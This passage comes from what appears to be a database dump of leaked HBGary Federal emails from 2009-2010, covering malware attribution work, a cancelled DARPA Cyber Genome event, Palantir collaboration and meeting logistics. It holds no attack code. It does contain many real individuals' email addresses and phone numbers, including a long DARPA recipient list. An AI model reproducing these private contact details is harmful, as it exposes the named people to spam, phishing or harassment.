\r\n>> or 2 other small vendors with complimentary technology.  I think \r\n>> something really substantial can be put together.\r\n>> \r\n>> Aaron\r\n>> \r\n>> \r\n>> On Dec 17, 2009, at 6:26 AM, Ghent, Ralph wrote:\r\n>> \r\n>>> Aaron,\r\n>>> Did anyone from the NTOC contact you yet?\r\n>>> Respectfully,\r\n>>> \r\n>>> \r\n>>> Ralph Ghent\r\n>>> rdghent@nsa.gov\r\n>>> Ph: 443-654-0129\r\n>>> \r\n>>> -----Original Message-----\r\n>>> From: Ghent, Ralph\r\n>>> Sent: Friday, December 04, 2009 2:27 PM\r\n>>> To: \'Aaron Barr\'\r\n>>> Subject: RE: Malware Genome and Attribution\r\n>>> \r\n>>> Aaron,\r\n>>> Many thanks for the additional info and the opportunity to chat \r\n>>> briefly at Leesburg.\r\n>>> \r\n>>> I have pushed your info to those within my Agency who are working \r\n>>> with\r\n>> \r\n>>> Carnegie-Mellon on the Malicious Code Catalog.  If, by this time next\r\n> \r\n>>> week, no one has reached-out to you, pls email me again and I will \r\n>>> follow up with them.\r\n>>> \r\n>>> Sincerely,\r\n>>> \r\n>>> \r\n>>> Ralph Ghent\r\n>>> rdghent@nsa.gov\r\n>>> Ph: 443-654-0129\r\n>>> \r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:adbarr@me.com]\r\n>>> Sent: Thursday, December 03, 2009 11:10 PM\r\n>>> To: Ghent, Ralph\r\n>>> Subject: Malware Genome and Attribution\r\n>>> \r\n>>> Ralph,\r\n>>> \r\n>>> Thank you for stepping in and asking about my discussion about \r\n>>> Malware\r\n>> \r\n>>> detection, genomes, and attribution.  I am very new to my current \r\n>>> position as CEO of HBGary Federal, prior to this I was the Technical \r\n>>> Director for Northrop Grummans Cyber and SIGINT Systems BU and the \r\n>>> Technical Lead for NGs Cyber Campaign.  Had you asked me 3 weeks ago \r\n>>> if we can make headway against attribution I would have said no, not \r\n>>> until we have better situational awareness, network characterization,\r\n> \r\n>>> CND/CNE integration, etc.\r\n>>> \r\n>>> Then I started to learn about HBGarys Malware Genome database, where \r\n>>> they have characterized 3500 traits of malware to date, and are \r\n>>> starting to make associations of authorship across malware.  I \r\n>>> immediately thought of Palantirs capability to link analysis and had\r\n>> an aha moment.\r\n>>> But I knew that other capabilities needed to be added if we were \r\n>>> seriously going to take a crack at attribution.\r\n>>> \r\n>>> Anyway, you had mentioned Carnegie Melon had some efforts here.  I \r\n>>> would love to talk with them and combine efforts if appropriate to \r\n>>> develop the capability that is needed to help with this challenge.\r\n>>> \r\n>>> Thank You,\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>> 301.652.8885 x117\r\n>>> 719.510.8478\r\n>> \r\n> \r\n> \r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',4729,'aaron_hbgary_com/4729.html'),(2280,'2010-02-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001033.M702375P3547Q2280.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Cyber Genome, WHO\'s WHO','Greg,regarding our conversation last night about APT. &nbsp;I think it would be a good and distinguishing thing to be the voice of reason instead of another chicken little. &nbsp;Everyone has the doomsday phraseology and why their technology is the only technology that can save the day. &nbsp;If we stress our capabilities as a significant piece of a larger solution set and talk about our knowledge of the larger solution set, we sound more educated, more experienced about the challenges. &nbsp;If we stress our partnerships and our desire to work with other industry and government partners to build the solution set, etc. &nbsp;Just some thoughts.I am trying a couple of angles also to see if we can get in with Google.AaronOn Feb 8, 2010, at 9:27 PM, Greg Hoglund wrote:Looks like she screwed up.&nbsp; Lol, didn\'t find mandiant anywhere on here, but there are alot of familier names...\r\n&nbsp;\r\n-Greg\r\n---------- Forwarded message ----------From: Moore, Renee (contr-sto) &lt;Renee.Moore.ctr@darpa.mil&gt;\r\nDate: Mon, Feb 8, 2010 at 5:33 PMSubject: OFFICIAL CANCELLATION: CYBER GENOME PROPOSER\'S DAYTo: \"justin.hornberger@obsidiancyber.com\" &lt;justin.hornberger@obsidiancyber.com&gt;, \"vernon.joyner@qinetiq-na.com\" &lt;vernon.joyner@qinetiq-na.com&gt;, \"deborah.frincke@pnl.gov\" &lt;deborah.frincke@pnl.gov&gt;, \"jaime@semandex.net\" &lt;jaime@semandex.net&gt;, \"aaron@hbgary.com\" &lt;aaron@hbgary.com&gt;, \"bob@hbgary.com\" &lt;bob@hbgary.com&gt;, \"greg@hbgary.com\" &lt;greg@hbgary.com&gt;, \"rich@hbgary.com\" &lt;rich@hbgary.com&gt;, \"ted@hbgary.com\" &lt;ted@hbgary.com&gt;, \"daniel.blitz@honeywell.com\" &lt;daniel.blitz@honeywell.com&gt;, \"shawn_ricketts@appsig.com\" &lt;shawn_ricketts@appsig.com&gt;, \"mfisk@lanl.gov\" &lt;mfisk@lanl.gov&gt;, \"skdao@hrl.com\" &lt;skdao@hrl.com&gt;, \"gholland@hrl.com\" &lt;gholland@hrl.com&gt;, \"gemami@globalinfotek.com\" &lt;gemami@globalinfotek.com&gt;, \"nigam@globalinfotek.com\" &lt;nigam@globalinfotek.com&gt;, \"mbanderson@teledyne.com\" &lt;mbanderson@teledyne.com&gt;, \"westby@globalcyberrisk.com\" &lt;westby@globalcyberrisk.com&gt;, \"bob@stratton.net\" &lt;bob@stratton.net&gt;, \"waa@cs.umd.edu\" &lt;waa@cs.umd.edu&gt;, \"brian.masterson@ngc.com\" &lt;brian.masterson@ngc.com&gt;, \"michael.witten@gtri.gatech.edu\" &lt;michael.witten@gtri.gatech.edu&gt;, \"dbailey@blackbirdtech.com\" &lt;dbailey@blackbirdtech.com&gt;, \"aiodice@blackbirdtech.com\" &lt;aiodice@blackbirdtech.com&gt;, \"jlowry@bbn.com\" &lt;jlowry@bbn.com&gt;, \"bfanelli@allencorporation.com\" &lt;bfanelli@allencorporation.com&gt;, \"vikram@i-a-i.com\" &lt;vikram@i-a-i.com&gt;, \"drankin@kadix.com\" &lt;drankin@kadix.com&gt;, \"bob@semandex.net\" &lt;bob@semandex.net&gt;, \"dean_a_gossett@raytheon.com\" &lt;dean_a_gossett@raytheon.com&gt;, \"tmccabe@mccabe.com\" &lt;tmccabe@mccabe.com&gt;, \"demoney@sri.com\" &lt;demoney@sri.com&gt;, \"rob@netwitness.com\" &lt;rob@netwitness.com&gt;, \"jzhou@teledyne.com\" &lt;jzhou@teledyne.com&gt;, \"swarup@mitre.org\" &lt;swarup@mitre.org&gt;, \"brianneo@securedecisions.avi.com\" &lt;brianneo@securedecisions.avi.com&gt;, \"jnhq@yahoo.com\" &lt;jnhq@yahoo.com&gt;, \"valerie.guralnik@honeywell.com\" &lt;valerie.guralnik@honeywell.com&gt;, \"Andy.Thompson@jhuapl.edu\" &lt;Andy.Thompson@jhuapl.edu&gt;, \"mjunod@atl.lmco.com\" &lt;mjunod@atl.lmco.com&gt;, \"rishab.malhotra@saic.com\" &lt;rishab.malhotra@saic.com&gt;, \"bayj@ainfosec.com\" &lt;bayj@ainfosec.com&gt;, \"shamilton@distributedinfinity.com\" &lt;shamilton@distributedinfinity.com&gt;, \"aott@distributedinfinity.com\" &lt;aott@distributedinfinity.com&gt;, \"souvas@ainfosec.com\" &lt;souvas@ainfosec.com&gt;, \"Tom@tgoodwincom.com\" &lt;Tom@tgoodwincom.com&gt;, \"jgibbins@distributedinfinity.com\" &lt;jgibbins@distributedinfinity.com&gt;, \"jay.civitillO@sypris.com\" &lt;jay.civitillO@sypris.com&gt;, \"email@stefanoforesti.com\" &lt;email@stefanoforesti.com&gt;, \"matthew_elder@symantec.com\" &lt;matthew_elder@symantec.com&gt;, \"raj.rajagopalan@hp.com\" &lt;raj.rajagopalan@hp.com&gt;, \"troy.swinehart@sypris.com\" &lt;troy.swinehart@sypris.com&gt;, \"hal.aldridge@sypris.com\" &lt;hal.aldridge@sypris.com&gt;, \"gshannon@setcorp.com\" &lt;gshannon@setcorp.com&gt;, \"vijay@ciphersolutions.com\" &lt;vijay@ciphersolutions.com&gt;, \"george@roguegenius.com\" &lt;george@roguegenius.com&gt;, \"patrick.w.phillips@saic.com\" &lt;patrick.w.phillips@saic.com&gt;, \"richard.arnold@macb.com\" &lt;richard.arnold@macb.com&gt;, \"preston.werntz@dhs.gov\" &lt;preston.werntz@dhs.gov&gt;, \"dihrie@semandex.net\" &lt;dihrie@semandex.net&gt;, \"jason.upchurch@gd-ais.com\" &lt;jason.upchurch@gd-ais.com&gt;, \"danstevenson@rti.org\" &lt;danstevenson@rti.org&gt;, \"michael.harbison@gd-ais.com\" &lt;michael.harbison@gd-ais.com&gt;, \"harold.Rodriguez@gd-asi.com\" &lt;harold.Rodriguez@gd-asi.com&gt;, \"mccusker@sonalysts.com\" &lt;mccusker@sonalysts.com&gt;, \"scottso@sonalysts.com\" &lt;scottso@sonalysts.com&gt;, \"marc.zbinden@nisc-llc.com\" &lt;marc.zbinden@nisc-llc.com&gt;, \"patrick@tripledex.com\" &lt;patrick@tripledex.com&gt;, \"ebasu@sentekglobal.com\" &lt;ebasu@sentekglobal.com&gt;, \"kevin.morrison@parsons.com\" &lt;kevin.morrison@parsons.com&gt;, \"ltinnel@globalinfotek.com\" &lt;ltinnel@globalinfotek.com&gt;, \"rick.mcgeer@hp.com\" &lt;rick.mcgeer@hp.com&gt;, \"stephen.barish@macb.com\" &lt;stephen.barish@macb.com&gt;, \"patrick.crago@nisc-llc.com\" &lt;patrick.crago@nisc-llc.com&gt;, \"dxu@cs.purdue.edu\" &lt;dxu@cs.purdue.edu&gt;, \"dave_m_gursky@raytheon.com\" &lt;dave_m_gursky@raytheon.com&gt;, \"guttman@us.ibm.com\" &lt;guttman@us.ibm.com&gt;, \"toweissy@vt.edu\" &lt;toweissy@vt.edu&gt;, \"ccramer@siginnovations.com\" &lt;ccramer@siginnovations.com&gt;, \"lkennedy@siginnovations.com\" &lt;lkennedy@siginnovations.com&gt;, \"lbengfort@cengen.com\" &lt;lbengfort@cengen.com&gt;, \"lkain@cra.com\" &lt;lkain@cra.com&gt;, \"aghosh1@gmu.edu\" &lt;aghosh1@gmu.edu&gt;, \"joshua.davis@gtri.gatech.edu\" &lt;joshua.davis@gtri.gatech.edu&gt;, \"zmitchell@logostech.net\" &lt;zmitchell@logostech.net&gt;, \"j@appranger.com\" &lt;j@appranger.com&gt;, \"kane@referentia.com\" &lt;kane@referentia.com&gt;, \"jsmith@referentia.com\" &lt;jsmith@referentia.com&gt;, \"twilliams@referentia.com\" &lt;twilliams@referentia.com&gt;, \"dchang@referentia.com\" &lt;dchang@referentia.com&gt;, \"kphillips@overwatch.textron.com\" &lt;kphillips@overwatch.textron.com&gt;, \"sdynes@dartmouth.edu\" &lt;sdynes@dartmouth.edu&gt;, \"michael.collins@redjack.com\" &lt;michael.collins@redjack.com&gt;, \"greg.virgin@redjack.com\" &lt;greg.virgin@redjack.com&gt;, \"john.mchugh@redjack.com\" &lt;john.mchugh@redjack.com&gt;, \"jeff.janies@redjack.com\" &lt;jeff.janies@redjack.com&gt;, \"sang.chin@jhuapl.edu\" &lt;sang.chin@jhuapl.edu&gt;, \"paul.b.jaynes@raytheon.com\" &lt;paul.b.jaynes@raytheon.com&gt;, \"rlinge@sei.cmu.edu\" &lt;rlinge@sei.cmu.edu&gt;, \"soswald@sigovs.com\" &lt;soswald@sigovs.com&gt;, \"kppande@msn.com\" &lt;kppande@msn.com&gt;, \"steve@atc-nycorp.com\" &lt;steve@atc-nycorp.com&gt;, \"hinoue@atc-nycorp.com\" &lt;hinoue@atc-nycorp.com&gt;, \"jadavis4@rockwellcollins.com\" &lt;jadavis4@rockwellcollins.com&gt;, \"tburgess@securedsciences.com\" &lt;tburgess@securedsciences.com&gt;, \"jeehye@securedsciences.com\" &lt;jeehye@securedsciences.com&gt;, \"walczak@avi.com\" &lt;walczak@avi.com&gt;, \"caguerreri@gmail.com\" &lt;caguerreri@gmail.com&gt;, \"raj.kant@baesystems.com\" &lt;raj.kant@baesystems.com&gt;, \"rlevy@i-a-i.com\" &lt;rlevy@i-a-i.com&gt;, \"ONeillDon@aol.com\" &lt;ONeillDon@aol.com&gt;, \"Rod.Tjoelker@Boeing.com\" &lt;Rod.Tjoelker@boeing.com&gt;, \"dmatsunaga@referentia.com\" &lt;dmatsunaga@referentia.com&gt;, \"gratson@research.ge.com\" &lt;gratson@research.ge.com&gt;, \"matarazzo1@llnl.gov\" &lt;matarazzo1@llnl.gov&gt;, \"christian.espinosa@eads-na-security.com\" &lt;christian.espinosa@eads-na-security.com&gt;, \"geaton@milcord.com\" &lt;geaton@milcord.com&gt;, \"tom@mccabetech.com\" &lt;tom@mccabetech.com&gt;, \"pc@mitre.org\" &lt;pc@mitre.org&gt;, \"michael.zeberlein@harris.com\" &lt;michael.zeberlein@harris.com&gt;, \"sbarnum@cigital.com\" &lt;sbarnum@cigital.com&gt;, \"evans@ge.com\" &lt;evans@ge.com&gt;, \"judith.c.spering@boeing.com\" &lt;judith.c.spering@boeing.com&gt;, \"philippe.byrnes@ddefend.com\" &lt;philippe.byrnes@ddefend.com&gt;, \"adinaburg@sigovs.cm\" &lt;adinaburg@sigovs.cm&gt;, \"christopher.jones@harris.com\" &lt;christopher.jones@harris.com&gt;, \"kvanbure@harris.com\" &lt;kvanbure@harris.com&gt;, \"fpound@sigovs.com\" &lt;fpound@sigovs.com&gt;, \"roelker@gmail.com\" &lt;roelker@gmail.com&gt;, \"pwilson@securedsciences.com\" &lt;pwilson@securedsciences.com&gt;, \"adahnert@overwatch.textron.com\" &lt;adahnert@overwatch.textron.com&gt;, \"Brian.Masterson@ngc.com\" &lt;Brian.Masterson@ngc.com&gt;, \"irby@pikewerks.com\" &lt;irby@pikewerks.com&gt;, \"melski@grammatech.com\" &lt;melski@grammatech.com&gt;\r\n\r\n\r\nAll,&nbsp;Due to inclement weather, the Cyber Genome Proposer’s Day scheduled for tomorrow, 09 Feb 2010, has been cancelled.&nbsp; We apologize for this late notice, but the official government closure notice from the Office of Personnel Management (OPM) was not released until 7:00pm EST today.&nbsp; There is no further information at this time, but when something is available it will be posted via the Federal Business Opportunities (FedBizzOpps.Gov) website.&nbsp;Please confirm receipt of this message by replying to this email.&nbsp;&nbsp;Thank you and we apologize for any inconvenience,&nbsp;Renee MooreSETADARPA/STOrenee.moore.ctr@darpa.mil703-351-9284&nbsp;\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',6452,'aaron_hbgary_com/6452.html'),(2281,'2010-02-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001033.M888415P3547Q2281.eml','\"Brian Masterson\" <Brian.Masterson@ngc.com>','Lots of time tomorrow','Soooo the proposers day is cancelled.\r\n\r\nGot some time to get together.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',6855,'aaron_hbgary_com/6855.html'),(2282,'2010-02-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001034.M105262P3547Q2282.eml','nolan@informationsecuritysolutionsllc.com','Re: Services contract for commercial IR services','Hi Nolan,My week has opened up quite a bit. &nbsp;:)Do you have some time to meet this week?AaronOn Feb 4, 2010, at 5:12 PM, nolan@informationsecuritysolutionsllc.com wrote:I can\'t tomorrow. How does next week look for you?Sent via BlackBerry by AT&amp;TFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Thu, 4 Feb 2010 17:11:54 -0500To: &lt;nolan@informationsecuritysolutionsllc.com&gt;Subject: Re: Services contract for commercial IR servicesSounds good for tomorrow. &nbsp;You still open?AaronOn Feb 2, 2010, at 2:25 PM, nolan@informationsecuritysolutionsllc.com wrote:Same here, perhaps coffee either morning in the Reston area?Sent via BlackBerry by AT&amp;TFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Tue, 2 Feb 2010 11:13:44 -0700To: &lt;nolan@informationsecuritysolutionsllc.com&gt;Subject: Re: Services contract for commercial IR servicesWhats your schedule like next week. &nbsp;My best availability is on Thursday and Friday.AaronOn Jan 25, 2010, at 10:04 AM, nolan@informationsecuritysolutionsllc.com wrote:Darn, those days are packed for me. What about the week of the 8th?Sent via BlackBerry by AT&amp;TFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Mon, 25 Jan 2010 11:44:58 -0500To: &lt;nolan@informationsecuritysolutionsllc.com&gt;Subject: Re: Services contract for commercial IR servicesHi Nolan,Tuesday and Friday are my packed days this week. &nbsp;Any free time on Wed/Thurs?AaronOn Jan 21, 2010, at 6:01 PM, nolan@informationsecuritysolutionsllc.com wrote:Aaron,How does 11 on Tuesday look for you? Where are you at most of the time? Would coffee at Cosi in the Reston Town Center be easy?Thanks,NolanSent via BlackBerry by AT&amp;TFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Thu, 21 Jan 2010 08:48:18 -0500To: &lt;nolan@informationsecuritysolutionsllc.com&gt;Subject: Re: Services contract for commercial IR servicesNolan,Ted is out in the Springs, but how about we meet next week. &nbsp;Any days better than others?AaronOn Jan 20, 2010, at 9:44 PM, Nolan Clifford wrote:\r\n\r\nThanks Maria.\r\n&nbsp;\r\nAaron and Ted - I could link up in person next week if you \r\nguys are interested.\r\n&nbsp;\r\nBest,\r\nNolan\r\n&nbsp;\r\nNolan Clifford, CISSP\r\nCEO, Information Security Solutions \r\nLLC\r\nhttp://www.informationsecuritysolutionsllc.com\r\nnolan@informationsecuritysolutionsllc.com\r\nOffice - 703-945-7480\r\nCell - 703-869-7396\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\nFrom: Maria Lucas [mailto:maria@hbgary.com] \r\nSent: Tuesday, January 19, 2010 4:51 PMTo: Aaron Barr; \r\nTed@hbgary.comCc: \r\nnolan@informationsecuritysolutionsllc.comSubject: Re: Services \r\ncontract for commercial IR services\r\n\r\nAaron / Ted\r\n&nbsp;\r\nI spoke today with Nolan Clifford.&nbsp; He may&nbsp;be helpful&nbsp;with \r\nthe contract terms for IR Services.&nbsp; Nolan has an NDA with HBGary.\r\n&nbsp;\r\nNolan is available later this week or next to meet or speak with on the \r\nphone:\r\n&nbsp;\r\nYou may reach Nolan at (703) 945-7480.&nbsp; Nolan is expecting your \r\ncall.\r\n&nbsp;\r\nMaria\r\n&nbsp;\r\nNolan Clifford Bio\r\nCEO of Information Security Solutions LLC, providing a full \r\nrange of security consulting services to US Federal, Global Public Sector and \r\nCommercial clients. Former Principal, Deloitte &amp; Touche, LLP Security and \r\nPrivacy Practice. Former Director at PricewaterhouseCoopers, LLP, within the \r\nWashington Federal Practice. Former Director of Information Assurance, General \r\nDynamics Network Systems, National and Defense Intelligence Solutions and former \r\nDirector of the Federal Security Practice at Unisys Corporation. Information \r\nWarfare Officer for the Naval Reserve Network Warfare Command. Former active \r\nduty Naval Cryptology Officer. CISSP. \r\n&nbsp;-- Maria Lucas, CISSP | Account Executive | \r\nHBGary, Inc.Cell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 \r\nFax: 240-396-5971Website: &nbsp;www.hbgary.com |email: maria@hbgary.com http://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',14322,'aaron_hbgary_com/14322.html'),(2283,'2010-02-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001034.M309186P3547Q2283.eml','\"Shows, Bob (IS)\" <rj.shows@ngc.com>','Re: 624th Ops Center--Next Steps','Hi Bob,Just checking in to see any status on this effort.AaronOn Jan 29, 2010, at 5:46 PM, Shows, Bob (IS) wrote:Aaron,&nbsp;I spoke at length with Vickie Michaels of CyberSpace Operations Consulting, LLC.&nbsp; Fundamentally her company is interested, but wants NGC to pay her company upfront to consultant in bringing this business case together.&nbsp; I conveyed that was not going to work, but if she could get her boss to sign the NDA, I would work with her to see how they might fit.&nbsp;Of note, she wasn’t interested in investing 2-4 hours of her own time just tighten the shot pattern on this effort.&nbsp; We left it with her going to see her boss and present the case (for which she did not seem overly enthusiastic)—we’ll see.&nbsp;&nbsp;As I mentioned, CSOC would be nice to have on this team, but not essential.&nbsp; We have Tom Hobbins, Bob Hinson, Tim Peppe, Jim Hale, Mike Edwards, and others that you know to assist with senior customer interface.&nbsp;&nbsp;Until we hear from Vickie, not sure we should plan to rendezvous in San Antonio—I’ll stay on top of this and keep you in-the-loop.&nbsp;Also, Jim Hale has some things in the work that he believes will be of interest to you.&nbsp; He’ll be in touch soon. &nbsp;&nbsp;Jim \'Torch\' Hale(719) 238-0763 (mobile)&nbsp;Aaron Barr(719) 510-8478 (mobile)(301) 652-8885 x117&nbsp;&nbsp;Best regards,&nbsp;Robert \'Bob\' Shows&nbsp;USAF Account Team NGIS/DSDNorthrop Grumman Corporation&nbsp;310.210.2549\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',15043,'aaron_hbgary_com/15043.html'),(2284,'2010-02-09','\"Geoff Stowe\" <gstowe@palantirtech.com>','/aaron@hbgary.com/new/1297001034.M503123P3547Q2284.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Latest Report','Great - I\'ll block off the entire day, so I can be there any time after 9.  I\'ll follow up with you later this week to nail down the schedule and figure out POCs.\r\n\r\nGeoff\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, February 08, 2010 7:52 PM\r\nTo: Geoff Stowe\r\nCc: Matthew Steckman\r\nSubject: Re: Latest Report\r\n\r\nSounds great.\r\n\r\nLets shoot for the 16th.  Looking forward to seeing what comes out of the session.\r\n\r\nAaron\r\nOn Feb 8, 2010, at 2:15 AM, Geoff Stowe wrote:\r\n\r\n> I\'m free the 15-17 to swing by sacramento.  Let me know if any of those days work - I\'d really like to help you guys flesh out that network.\r\n> \r\n> \r\n> ----- Original Message -----\r\n> From: Matthew Steckman\r\n> To: Aaron Barr \r\n> Cc: Geoff Stowe\r\n> Sent: Sun Feb 07 20:31:28 2010\r\n> Subject: RE: Latest Report\r\n> \r\n> This looks great!  And yes, we can certainly help you create some sexier screenshots for the big reveal.\r\n> \r\n> I believe Geoff\'s earliest availability is the week of the 15th, Ill let him pick up the thread from here on that.\r\n> \r\n> Getting on a plane back from travel, Ill call you tomorrow afternoon to sync up on all this.\r\n> \r\n> Matthew Steckman\r\n> Palantir Technologies | Forward Deployed Engineer\r\n> msteckman@palantirtech.com | 202-257-2270\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Sunday, February 07, 2010 2:09 PM\r\n> To: Matthew Steckman\r\n> Subject: Latest Report\r\n> \r\n> Matt,\r\n> \r\n> Latest copy.  We know we can put in some better shots using Palantir but just don\'t have the skillz yet.  Looks like we will be doing 2 reports.  Endgames is not keen on providing any content that will be for public release.  So we will do another report that we can distribute directly to customers.  For that report we will have a little more time to get in some good Palantir shots.\r\n> \r\n> When can Geoff go up to Sacramento?\r\n> \r\n> We got a request to set up a meeting with some folks up at NTOC and ANO, so will be doing that in the next few weeks.  Would like to bring a finished report with us.\r\n> \r\n> Aaron\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',6557,'aaron_hbgary_com/6557.html'),(2285,'2010-02-09','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001034.M693952P3547Q2285.eml','aaron@hbgary.com','Re: Lots of time tomorrow','\r\n\r\n\r\n\r\n\r\nRe: Lots of time tomorrow\r\n\r\n\r\n\r\n\r\nUgh.&nbsp; I have to try to get a flight.&nbsp; The morning flights to cinci are cancelled which does not make me hopeful for my 2PM.&nbsp; May fly to detroit.&nbsp; Will get back to you.\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Masterson, Brian (Xetron)\r\nSent: Mon Feb 08 22:11:52 2010\r\nSubject: Lots of time tomorrow\r\n\r\nSoooo the proposers day is cancelled.\r\n\r\nGot some time to get together.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',855,'aaron_hbgary_com/855.html'),(2286,'2010-02-09','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001034.M921228P3547Q2286.eml','aaron@hbgary.com','Re: Lots of time tomorrow','\r\n\r\n\r\n\r\n\r\nRe: Lots of time tomorrow\r\n\r\n\r\n\r\n\r\nHeading to bwi to try to get out of here.&nbsp; Can we talk tomorrow afternoon?\r\n\r\n----- Original Message -----\r\nFrom: Masterson, Brian (Xetron)\r\nTo: \'aaron@hbgary.com\' &lt;aaron@hbgary.com&gt;\r\nSent: Tue Feb 09 05:07:46 2010\r\nSubject: Re: Lots of time tomorrow\r\n\r\nUgh.&nbsp; I have to try to get a flight.&nbsp; The morning flights to cinci are cancelled which does not make me hopeful for my 2PM.&nbsp; May fly to detroit.&nbsp; Will get back to you.\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Masterson, Brian (Xetron)\r\nSent: Mon Feb 08 22:11:52 2010\r\nSubject: Lots of time tomorrow\r\n\r\nSoooo the proposers day is cancelled.\r\n\r\nGot some time to get together.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9797,'aaron_hbgary_com/9797.html'),(2287,'2010-02-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001035.M129079P3547Q2287.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Lots of time tomorrow','You bet.From my iPhoneOn Feb 9, 2010, at 7:32 AM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nHeading to bwi to try to get out of here.  Can we talk tomorrow afternoon?\r\n\r\n----- Original Message -----\r\nFrom: Masterson, Brian (Xetron)\r\nTo: &#39;aaron@hbgary.com&#39; &lt;aaron@hbgary.com&gt;\r\nSent: Tue Feb 09 05:07:46 2010\r\nSubject: Re: Lots of time tomorrow\r\n\r\nUgh.  I have to try to get a flight.  The morning flights to cinci are cancelled which does not make me hopeful for my 2PM.  May fly to detroit.  Will get back to you.\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Masterson, Brian (Xetron)\r\nSent: Mon Feb 08 22:11:52 2010\r\nSubject: Lots of time tomorrow\r\n\r\nSoooo the proposers day is cancelled.\r\n\r\nGot some time to get together.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7206,'aaron_hbgary_com/7206.html'),(2288,'2010-02-09','\"Mulville, Michael E.\" <MICHAEL.E.MULVILLE@saic.com>','/aaron@hbgary.com/new/1297001035.M378462P3547Q2288.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Virtual Introduction','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron &#8211; \r\n\r\n&nbsp;\r\n\r\nWill be tough to squeeze it in this week.&nbsp; How does Feb 15th\r\nafternoon &#8211; 11 AM sound ?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nMike\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, February 08, 2010 10:02 PM\r\nTo: Mulville, Michael E.\r\nSubject: Re: Virtual Introduction\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Mike,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI can\'t remember what time frame last we discussed, things\r\nhave been turned a bit around. &nbsp;What does this week look like for you?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 4, 2010, at 2:35 PM, Mulville, Michael E. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron &#8211;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAny time possible next week ?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMike\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Mulville, Michael E.&nbsp;\r\nSent:&nbsp;Thursday, January\r\n28, 2010 2:27 PM\r\nTo:&nbsp;Aaron Barr\r\nSubject:&nbsp;RE: 